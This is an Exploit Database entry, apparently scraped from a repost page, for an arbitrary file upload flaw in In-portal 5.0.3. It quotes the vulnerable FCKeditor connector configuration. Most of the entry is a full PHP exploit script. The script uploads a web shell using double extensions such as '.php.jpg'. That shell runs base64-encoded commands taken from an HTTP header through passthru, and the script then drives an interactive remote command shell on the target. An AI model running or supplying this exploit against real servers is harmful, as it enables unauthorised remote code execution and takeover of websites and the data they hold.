In-portal 5.0.3 – Arbitrary File Upload

Exploit Database
123 阅读

作者： eidelweiss

日期： 2010-04-23
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/12350/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

<?php

-----------------------------------------------------------------

In-portal 5.0.3 Remote Arbitrary File Upload Exploit

-----------------------------------------------------------------

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

0 _ __ __ __ 1

1 /' \__/'__<code>\/\ \__/'__</code>\ 0

0/\_, \___ /\_\/\_\ \ \___\ \ ,_\/\ \/\ \_ ___ 1

1\/_/\ \ /' _ <code>\ \/\ \/_/_\_<_/'___\ \ \/\ \ \ \ \/</code>'__\0

0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1

1\ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0

0 \/_/\/_/\/_/\ \_\ \/___/\/____/ \/__/ \/___/\/_/ 1

1\ \____/ >> Exploit database separated by exploit 0

0 \/___/type (local, remote, DoS, etc.)1

0[+] Site: Inj3ct0r.com0

1[+] Support e-mail: submit[at]inj3ct0r.com1

1########################################1

0I'm eidelweiss member from Inj3ct0r Team1

1########################################0

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Developers: http://www.in-portal.org/

Download : http://www.in-portal.com/download.html

exploited by ..: eidelweiss

Special thanks to all my friends who helped and support me when i sick

details..: works with an Apache server with the mod_mime module installed (if specific)

[-] vulnerable code in path/core/editor/editor/filemanager/connectors/php/config.php

[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").

[*]

[*] $Config['Enabled'] = true ;

[*]

[*] // Path to user files relative to the document root.

[*] $Config['UserFilesPath'] = BASE_PATH . WRITEBALE_BASE . '/user_files/';

[*]

[*] // Fill the following value it you prefer to specify the absolute path for the

[*] // user files directory. Usefull if you are using a virtual directory, symbolic

[*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.

[*] // Attention: The above 'UserFilesPath' must point to the same directory.

[*]

[*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]

[*] $Config['DeniedExtensions']['File'] = array() ;

[*]

[*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;

[*] $Config['DeniedExtensions']['Image']= array() ;

[*]

[*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ;

[*] $Config['DeniedExtensions']['Flash']= array() ;

[*]

[*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;

[*] $Config['DeniedExtensions']['Media']= array() ;

with a default configuration of this script, an attacker might be able to upload arbitrary

files containing malicious PHP code due to multiple file extensions isn't properly checked

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

$sock = fsockopen($host, 80);

while (!$sock)

{

print "\n[-] No response from {$host}:80 Trying again...";

$sock = fsockopen($host, 80);

}

fputs($sock, $packet);

while (!feof($sock)) $resp .= fread($sock, 1024);

fclose($sock);

return $resp;

}

function upload()

{

global $host, $path;

$connector = "/core/editor/editor/filemanager/connectors/php/config.php";

$file_ext= array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");

foreach ($file_ext as $ext)

{

print "\n[-] Trying to upload with .{$ext} extension...";

$data= "--abcdef\r\n";

$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";

$data .= "Content-Type: application/octet-stream\r\n\r\n";

$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";

$data .= "--abcdef--\r\n";

$packet= "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($data)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $data;

preg_match("/OnUploadCompleted$(.*),'(.*)'$/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");

$packet= "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

$html= http_send($host, $packet);

if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

sleep(1);

}

return false;

}

print "\n+--------------------------------------------------------------------+";

print "\n| In-portal 5.0.3 Remote Arbitrary File Upload Exploit by eidelweiss |";

print "\n+--------------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] host path\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /In-portal/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");

else print "\n[-] Shell uploaded...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)

{

print "\portal-shell# ";

$cmd = trim(fgets(STDIN));

if ($cmd != "exit")

{

$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";

$packet.= "Host: {$host}\r\n";

$packet.= "Cmd: ".base64_encode($cmd)."\r\n";

$packet.= "Connection: close\r\n\r\n";

$html = http_send($host, $packet);

if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");

$shell = explode("_code_", $html);

print "\n{$shell[1]}";

}

else break;

}